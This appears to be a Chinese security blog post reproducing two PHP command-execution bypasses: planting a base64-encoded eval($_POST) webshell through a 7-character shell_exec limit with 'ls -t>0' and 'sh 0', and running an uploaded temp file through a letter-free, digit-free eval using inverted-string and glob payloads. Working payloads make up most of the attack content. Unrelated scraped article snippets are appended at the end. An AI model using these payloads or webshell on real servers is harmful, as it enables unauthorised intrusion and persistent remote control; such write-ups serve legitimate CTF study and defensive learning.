当前位置: 首页 > news >正文

有意思的漏洞复现与分析一

目录

一、Linux命令长度限制突破方法

1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。


一、Linux命令长度限制突破方法

1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。

<?php
$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  echo shell_exec($param);
}

这个的难点就是该怎么把执行语句缩短到7个字符,很显然这个思路是行不通的,然后我们看到echo shell_exec($param);这个语句去看一下php官方文档对shell_exec这个函数的使用方法。

了解该函数的使用方法,再结合Linux系统下的一些特性。

1.w 长度最短的命令

2.ls -t 以创建时间来列出当前目录下所有文件

3.文件列表以[换行符]分割每个文件 引入 `\` 转义ls时的换行

1.换行不影响命令执行 成功构造任意命令执行,写入Webshell 

前辈就想到了在Linux下可以使用w>+字符串在w下创建文件,但是在后续学习其实可以直接>+字符串。

直接执行一句话木马,再通过ants work连接

<?php eval($_POST[9]);

再通过上文了解到shell_exec的用法 输出以字符串的形式,所以是不是需要想通过base64编码再通过解码输出呢,通过工具。

那就开始写入吧"echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==| base64 -d>  c.php"总结这一句就是我们所需要的执行语句。

可以看到我们写入成功,再一次写入,最后写入ls -t>0,sh 0(通过查看资料)

很明显生成了c.php文件,文件内容如下,接下来我们使用蚁🗡连接

访问c.php回显正常。 

 

蚁🗡连接成功,原方法使用$_GET传参连不上,改用POST就可以连接上。但是查看官方文档REQUEST两者都可以传参,我现在还不清楚什么原因。

 

二 、无字母数字webshell之命令执行

这个代码如果要getshell,怎样利用?
当然,这道题的限制:
  1. webshell长度不超过35位
  2. 除了不包含字母数字,还不能包含$_
难点呼之欲出了,我前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

PHP7 下简单解决问题

查看官方文档

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

(~%8F%97%8F%96%91%99%90)();

基于现在的系统PHP5也需要思考:

 通过测试php5没有这个用法,操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法,想到就是用‘’+shell执行命令。

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本

  2. Linux文件名支持用glob通配符代替

第一点.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

*可以代替0个及以上任意字符

?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,但是实际上我们会匹配到多个所以执行不了。所以就要了解glob通配符;

描述
glob是shell使用的路径匹配符,类似于正则表达式,但是与正则表达式不完全相同。在linux操作中如文件匹配等等其实已经使用了glob通配符。由于其在路径匹配方面的强大,其他语言也有相应的实现。我在使用基于node的gulp时遇到glob匹配文件路径,于是顺便整理一下glob的基础语法和使用。

glob通配符

语法和使用
*:匹配一个路径部分中0个或多个字符,注意不匹配以.开始的路径,如文件.a。
?:匹配一个字符。
[…]:匹配一系列字符,如[abc]匹配字符a, b, c,在[^…]和[!…]表示匹配不在列表中的字符,如[^abc]匹配除了a, b, c以外的字符。--我们就要使用这个来减少达到精准匹配
**:匹配0个或多个子文件夹。
{a,b}:匹配a或则b,a和b也是通配符,可以由其他通配符组成。
!:排除文件,如!a.js表示排除文件a.js。
更多相关语法可参考node-glob。

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间,那么,我们可以利用[@-[]来表示大写字母。

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了,最后一个字符也可能是数字。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

 上传命令执行的文件,就可以执行命令了。

相关文章:

有意思的漏洞复现与分析一

目录 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中&#xff0c;某师傅遇到可控数据只有8字节的情况&#xff0c;去掉字符 串尾的\0&#xff0c;限制在7个字符。 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中&#xff0c;某师傅遇到可控数据只有8字节的情况&a…...

力扣题解(按身高排序)

2418. 按身高排序 给你一个字符串数组 names &#xff0c;和一个由 互不相同 的正整数组成的数组 heights 。两个数组的长度均为 n 。 对于每个下标 i&#xff0c;names[i] 和 heights[i] 表示第 i 个人的名字和身高。 请按身高 降序 顺序返回对应的名字数组 names 。 思路&…...

Redis的六种淘汰策略详解

Redis作为一种高性能的键值对存储系统&#xff0c;其数据全部存储在内存中&#xff0c;因此内存管理对Redis的性能至关重要。当Redis的内存使用达到上限时&#xff0c;就需要通过淘汰策略来释放内存空间&#xff0c;以便存储新的数据。Redis提供了六种不同的淘汰策略&#xff0…...

vue3中 ref 和 reactive 的区别

相同&#xff1a;均是声明响应式对象。且声明的响应式对象是深层的 1. 数据类型不同&#xff1a;ref用于包装JavaScript基本类型的数据&#xff08;如字符串、数字、布尔值等&#xff09;&#xff0c;而reactive可以用于包装JavaScript对象和数组等复杂类型的数据。 2.访问方式…...

《单例模式的深度解读:实现方式、破坏情况与利弊权衡》

单例模式 一、单例模式的定义 ​ 单例模式&#xff08;Singleton Pattern&#xff09;是一种常见的软件设计模式&#xff0c;确保一个类只有一个实例存在&#xff0c;并提供一个全局访问点来获取该实例。 二、单例模式的实现方式 ​ 1.懒汉式单例 public class LazySingle…...

010607电压源和电流源受控源

电源的理论部分 1.6电压源和电流源1.理想电压源&#xff1a; 1.6电压源和电流源 1.理想电压源&#xff1a; 其两端电压总能保持定值或一定的时间函数&#xff0c;其值与流过它的电流i无关的元件叫理想电压源。 电路符号&#xff1a;中间与导线直通的圆圈 电压源&#xff1a…...

快乐数求解

编写一个算法来判断一个数 n 是不是快乐数。 「快乐数」 定义为&#xff1a; 对于一个正整数&#xff0c;每一次将该数替换为它每个位置上的数字的平方和。然后重复这个过程直到这个数变为 1&#xff0c;也可能是 无限循环 但始终变不到 1。如果这个过程 结果为 1&#xff0c…...

运维高级内容--为端口做标记、制定调度规则

rs: yum install mod_ssl -y #安装mod_ssl模块 让rs支持https systemctl restart http lvs: cd /boot/ ls less config-5.14.0-427.13.1.el9_4.x86_64 ipvsadm -A -t 192.168.0.200:80 -s rr ipvsadm -a -t 192.168.0.200:80 -r 192.168.0.10:80 -g -w 1 #轮询调度一次…...

后端Web之HTTP协议基础介绍

目录 1.HTTP概念 2.HTTP请求协议 3.HTTP响应协议 4.HTTP协议解析 1.HTTP概念 HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超文本传输协议&#xff09;是一种用于分布式、协作式和超媒体信息系统的应用层协议。它是万维网数据通信的基础&#xff0c;允许将超…...

深入解析Nginx限流策略:如何高效控制访问频率

摘要&#xff1a;本文将详细介绍Nginx限流模块的使用方法&#xff0c;包括基于IP地址的限流、基于并发连接的限流以及如何应对突发流量。通过实际案例&#xff0c;帮助读者掌握Nginx限流策略&#xff0c;确保服务器在高并发场景下的稳定运行。 一、引言 在高并发场景下&#x…...

锂电池剩余寿命预测 | Matlab基于Transformer-GRU的锂电池剩余寿命预测

目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 Matlab基于Transformer-GRU的锂电池剩余寿命预测&#xff0c;Transformer结合门控循环单元。 Matlab基于Transformer-GRU的锂电池剩余寿命预测&#xff08;单变量&#xff09; 运行环境Matlab2023b及以上。 首先从…...

深入理解Spring的IOC容器与依赖注入

深入理解Spring的IOC容器与依赖注入 引言 Spring框架的核心功能之一就是它的IOC容器&#xff0c;它为开发人员提供了强大的依赖管理和控制反转的能力。本文将详细介绍Spring的IOC容器以及依赖注入的基本概念和实现方式&#xff0c;并通过示例展示如何在实际项目中应用这些技术…...

Qt读写sysfs

本文介绍Qt读写sysfs。 在嵌入式Linux系统上开发Qt应用程序&#xff0c;经常会涉及到外设的控制&#xff0c;比如GPIO&#xff0c;PWM的控制&#xff0c;Linux环境下可以像操作文件一样操作它们&#xff0c;这通常会涉及到sysfs的读写。本文以读写GPIO为例&#xff0c;简要介绍…...

实景三维:解锁地理信息新维度,引领未来城市智慧之钥

在这个信息爆炸与科技日新月异的时代&#xff0c;地理信息与遥感技术正以前所未有的速度改变我们认知世界的方式。在推动“实景三维平台”这一前沿科技的构建上&#xff0c;它不仅是地理信息的立体呈现&#xff0c;更是智慧城市的基石&#xff0c;打开了通往未来城市规划、管理…...

汽车免拆诊断案例 | 2010款劳斯莱斯古斯特车中央信息显示屏提示传动系统故障

故障现象  一辆2010款劳斯莱斯古斯特车&#xff0c;搭载N74发动机&#xff0c;累计行驶里程约为11万km。车主反映&#xff0c;起动发动机后组合仪表和中央信息显示屏均提示传动系统故障。用故障检测仪检测&#xff0c;发现发动机控制模块2&#xff08;DME2&#xff09;中存储…...

监督学习和无监督学习是什么?

监督学习和无监督学习是机器学习中的两种基本学习方式&#xff0c;它们在处理数据和训练模型时有着显著的区别。 监督学习 定义&#xff1a; 监督学习是指利用一组已知类别的样本&#xff08;即标记的数据&#xff09;来调整分类器的参数&#xff0c;使其达到所要求性能的过程…...

YII2的errorHandler.errorAction失效原因

<?phpreturn [components => [errorHandler => [errorAction => site/error,],] ]; 这段配置存在错误,导致错误处理无法生效。为了解决这个问题,我们需要对配置进行优化。 代码查看:yii\web\ErrorHandler::renderException <?phpprotected function ren…...

已知p指向双向循环链表中的一个结点,其结点结构为data、prior、next三个域,写出算法change(p),交换p所指向的结点和它的前缀结点的顺序。

#include<assert.h> typedef struct SLnode {int data;struct SLnode* prior;struct SLnode* next; }SLnode,*SLnodelist; //创建结点 SLnode* createhead(int data) {SLnode* newnode (SLnode*)malloc(sizeof(SLnode));newnode->data data;newnode->next newno…...

什么是Tensor???为什么人工智能领域论文中经常出现这个名词

文章目录 什么是Tensor&#xff1f;&#xff1f;数学符号表示 什么是Tensor&#xff1f;&#xff1f; Tensor&#xff0c;中文叫张量。Tensor实际上就是一个多维数组&#xff08;multidimensional array&#xff09;。 而Tensor的目的是能够创造更高维度的矩阵、向量。 数学符…...

爬虫练习_01

前言 基础爬虫小练习01 一、requests板块使用 demo_01 import requests from lxml import etreeurl "https://movie.douban.com/top250" headers {"authority": "movie.douban.com","method": "GET","path"…...

锐龙处理器终极调优指南:如何用RyzenAdj释放隐藏性能

锐龙处理器终极调优指南&#xff1a;如何用RyzenAdj释放隐藏性能 【免费下载链接】RyzenAdj Adjust power management settings for Ryzen APUs 项目地址: https://gitcode.com/gh_mirrors/ry/RyzenAdj 你是否曾觉得自己的AMD锐龙处理器性能没有完全发挥&#xff1f;或者…...

Win11Debloat效能革命:Windows系统极限释放的开源优化方案

Win11Debloat效能革命&#xff1a;Windows系统极限释放的开源优化方案 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter an…...

告别DataGridView!用ReoGrid在C#中打造Excel级表格编辑功能(支持粘贴/样式保留)

告别DataGridView&#xff01;用ReoGrid在C#中打造Excel级表格编辑功能&#xff08;支持粘贴/样式保留&#xff09; 在传统C#桌面应用开发中&#xff0c;DataGridView一直是表格数据显示的默认选择。但当我们面对制造业成本核算、财务报表生成等需要处理复杂Excel数据的场景时&…...

生态廊道构建实战指南(1)—Linkage Mapper与Circuitscape环境部署详解

1. 生态廊道构建工具入门指南 第一次接触生态廊道分析的朋友可能会被各种专业术语吓到&#xff0c;其实没那么复杂。简单来说&#xff0c;Linkage Mapper和Circuitscape就是帮我们在数字地图上找出动物迁徙"高速公路"的神器。想象一下&#xff0c;你是一位城市规划师…...

Palworld存档工具:高效解决游戏存档格式转换与数据解析的技术方案

Palworld存档工具&#xff1a;高效解决游戏存档格式转换与数据解析的技术方案 【免费下载链接】palworld-save-tools Tools for converting Palworld .sav files to JSON and back 项目地址: https://gitcode.com/gh_mirrors/pa/palworld-save-tools Palworld存档工具是…...

测序技术演进:从Sanger到纳米孔的突破与应用

1. 测序技术的前世今生&#xff1a;从实验室到生命密码解读 想象一下你手里拿着一本由30亿个字母组成的书&#xff0c;每个字母只有0.34纳米大小&#xff0c;而你的任务是准确无误地抄写整本书——这就是基因组测序工作的真实写照。我第一次接触测序技术是在2008年&#xff0c;…...

嵌入式上位机开发入门(十):RT-Thread 后台线程代码借鉴

目录 一、前言二、后台线程的职责三、发送 AT 命令的流程四、client_parser 解析函数五、网络数据的接收处理六、总结七、结尾 一、前言 大家好&#xff0c;这里是 Hello_Embed。经过上一篇笔记的学习&#xff0c;我们了解到监听、接收、发数据、建立连接&#xff0c;这些过…...

Java SpringBoot+Vue3+MyBatis 大创管理系统系统源码|前后端分离+MySQL数据库

摘要 随着高等教育信息化建设的不断深入&#xff0c;大学生创新创业项目的管理效率与信息化水平成为高校教务管理的重要课题。传统的大创项目管理多依赖人工操作和纸质材料&#xff0c;存在流程繁琐、信息滞后、数据共享困难等问题。为解决这些问题&#xff0c;设计并实现一套高…...

Hotkey Detective:Windows热键冲突的智能诊断与解决方案

Hotkey Detective&#xff1a;Windows热键冲突的智能诊断与解决方案 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 在现代…...

SecGPT-14B模型调优指南:降低OpenClaw安全任务Token消耗

SecGPT-14B模型调优指南&#xff1a;降低OpenClaw安全任务Token消耗 1. 为什么需要关注Token消耗问题 去年冬天&#xff0c;当我第一次用OpenClaw对接SecGPT-14B执行安全日志分析时&#xff0c;被惊人的Token消耗吓了一跳——一个简单的500行日志分析任务竟然消耗了近3万Toke…...